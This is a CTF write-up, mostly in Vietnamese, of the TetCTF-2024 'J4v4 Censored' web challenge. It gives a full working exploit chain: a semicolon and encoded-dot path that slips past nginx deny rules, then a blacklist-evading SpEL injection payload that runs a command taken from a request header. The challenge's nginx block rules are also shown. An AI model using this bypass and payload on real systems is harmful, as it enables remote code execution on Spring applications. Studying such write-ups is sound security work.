TetCTF-2024 Ctf Writeup - J4v4 Censored web challenge and unintended solution that break nginx rule
preface
Hi! bài này mình sẽ writeup lại bài J4v4 Censored
trong giải TetCTF-2024 mà team mình (KCSC) đã solve được. Đây là 1 bài java mình đánh giá không quá khó nhưng lại là half-black-box nên phải đoán, fuzzing khá nhiều nên khi làm mình khá nản nhưng cũng nhờ có teammates quyết tâm tìm ra được unintended solution nên may mắn (cũng chính là team duy nhất) solved được. Let’s start!
exploring
Đề cho url đến swagger endpoint nhưng khi truy cập thì không load được list các api:
Nguyên nhân do /v2/api-docs?group=discovery
đã bị chặn:
Thử chuyển thành post method thì bypass được luôn 😀😀:
Từ info của swagger thì biết được app đang chạy /nepxion/Discovery module discovery-plugin-admin-center-starter-swagger nhưng như title discovery-springcloud-example-admin-remake
thì có thể đã được modify.
Thử tìm CVE trên nền tảng này thì mình thấy có 2 lỗ hổng đáng chú ý là SpEL Injection và SSRF tại đây: https://securitylab.github.com/advisories/GHSL-2022-033_GHSL-2022-034_Discovery/
PoC của 2 lỗ hổng này cũng có sẵn rồi, nhưng khi ốp vào thì lại không ăn ngay:
Sau một hồi fuzz qua thì mình thấy các keyword như strategy
, validate-expression
đã bị chặn, cùng với một số ký tự như \
hay ;
. Cũng dễ nhận thấy là endpoint này bị chặn bởi nginx chứ không phải java app, tiềm tàng nguy cơ bị bypass 😂.
bypass nginx
Ý tưởng chộp đến ngay là dùng bug SSRF để bypass và request đến endpoint /strategy/validate-expression
từ localhost. Thử SSRF thì đến /swagger-ui.html
thì vẫn ok:
Nhưng đến /strategy/validate-expression
thì không được, nguyên nhân cũng khá dễ hiểu do nginx đã chặn các keyword mình đã kể ở trên nếu nằm trong URL, mình cũng chưa tìm ra cách workaround nào khác do endpoint này lấy params từ path variable:
@RequestMapping(path = "/route/{routeServiceId}/{routeProtocol}/{routeHost}/{routePort}/{routeContextPath}", method = RequestMethod.GET)
@ApiOperation(value = "获取指定节点可访问其他节点的路由信息列表", notes = "", response = ResponseEntity.class, httpMethod = "GET")
@ResponseBody
public ResponseEntity<?> route(@PathVariable(value = "routeServiceId") @ApiParam(value = "目标服务名", required = true) String routeServiceId, @PathVariable(value = "routeProtocol") @ApiParam(value = "目标服务采用的协议。取值: http | https", defaultValue = "http", required = true) String routeProtocol, @PathVariable(value = "routeHost") @ApiParam(value = "目标服务所在机器的IP地址", required = true) String routeHost, @PathVariable(value = "routePort") @ApiParam(value = "目标服务所在机器的端口号", required = true) int routePort, @PathVariable(value = "routeContextPath") @ApiParam(value = "目标服务的调用路径前缀", defaultValue = "/", required = true) String routeContextPath) {
return doRemoteRoute(routeServiceId, routeProtocol, routeHost, routePort, routeContextPath);
}
Chall cũng được cấu hình để chặn out-bound do đó không thể bypass bằng cách tự host server để redirect về lại endpoint mong muốn.
Stuck tầm 1 ngày thì cuối cùng đồng đội mình (@null001
) đã tìm ra cách bypass nginx proxy để request được đến /strategy/validate-expression
và exploit SpEL inject, cũng chẳng cần đến bug SSRF luôn(nghe là intended):
URL để bypasss như sau:
/strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/
Vì không có source nên mình không thể confirm (sau khi giải end có source thì đã confirm được) nhưng mình giả định nguyên nhận là do nginx khi nhận request sẽ thực hiện normalize url trước khi thực hiện các directives để check, sau khi check lại proxy_pass original url chưa decode đến java app. Quá trình normalize đơn giản hóa như sau stackoverflow:
Do đó khi thực hiện request trên, nginx sẽ thực hiên url decode và normalize thành $uri='/'
đẫn đến các rule check trên $uri='/'
bằng 0 😆😆.
Nhưng cũng chưa ngon ăn ngay do param expression
đã được tác giả custom lại và thêm các backlist keyword mà khi thực hiện SpEL inject sẽ không ăn ngay mà mình fuzz được thì đó là '
, "
và toString
. Ngồi bypass tiếp thôi
bypass SpEL injection blacklist
Với các keyword bị blacklist là '
, "
và toString
nhằm chặn tạo chuỗi string thì ai quen thuộc với dạng đề CTF này mình nghĩ cũng sẽ không quá khó khăn để bypass.
Do đang là dạng spel inject blind (+ không có out-bound) nên mình hình dung payload để exploit nó sẽ tương tự như này, hạn chế sử dụng các chuỗi string cũng như lấy được input và trả về response đều từ header:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter("\\A").next()))
Để dễ hiểu thì payload có thể được chia nhỏ như sau:
- Lấy spring response object để kiểm soát response của request:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse()
- Gọi
setHeader()
để trả về output của command từ response - Dùng Scanner để lấy hết string output từ inputstream của process:
T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance().useDelimiter("\\A").next()
- Gọi
ProcessBuilder
thực thi command:
new ProcessBuilder(<input>).start()
- Lấy spring request object để lấy được input (command) từ request hiện tại:
T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest()
- Và gọi
getHeader()
để lấy input từ header1
Để build được payload trên thì mình tự dựng lab tại local để test cho dễ thôi, tuy nhiên payload trên vẫn có chỗ bị blacklist đó là "\A"
, để bypass có thể dùng cách sau
Convert qua dạng ssti:
(new String(T(java.lang.Character).toChars(92))).concat(new String(T(java.lang.Character).toChars(65)))
Full payload:
GET /strategy;%2f%2e%2e%2f/validate-expression;%2f%2e%2e%2f/?condition=T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().setHeader(1,(T(java.util.Scanner).getConstructor(T(java.io.InputStream)).newInstance(new+ProcessBuilder(T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getRequest().getHeader(1)).start().getInputStream()).useDelimiter((new+String(T(java.lang.Character).toChars(92))).concat(new+String(T(java.lang.Character).toChars(65)))).next()))&validation=a%3dtest HTTP/2
Host: java.tienbip.xyz
1: /readflag
Done 😇:
flag:
TetCTF{ssrf`bYp4ss-sst!;W1th<3. :)}
end - ref
nginx.conf
source được cung cấp: https://drive.google.com/file/d/1HZ268tSJK8FuSR-Y7c8XCuv5hOt7tF6R/view?usp=sharing
nginx.conf
server {
listen 80;
server_name 2024.tet.ctf;
access_log /var/log/nginx/tetctf-access.log;
error_log /var/log/nginx/tetctf-error.log;
location / {
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://nepxion-admin:1101;
}
location /v2/api-docs {
if ($request_method = GET) {
rewrite /v2/api-docs /null break;
}
proxy_pass http://nepxion-admin:1101/v2/api-docs;
}
location ~ .*strategy.* {
# prevent any cve for api endpoint :)
deny all;
}
location ~ .*validate-expression.* {
# prevent any cve for api endpoint :)
deny all;
}
location ~ .*\/..\; {
# it's bad for Tomcat :)
deny all;
}
location ~ .*\/\; {
# it's bad for Tomcat :)
deny all;
}
location ~ .*\; {
# it's bad for Tomcat :)
deny all;
}
}
-
Check location regex block trước prefix block:
-
proxy_pass original url thay vì normalized url khi không specify uri this: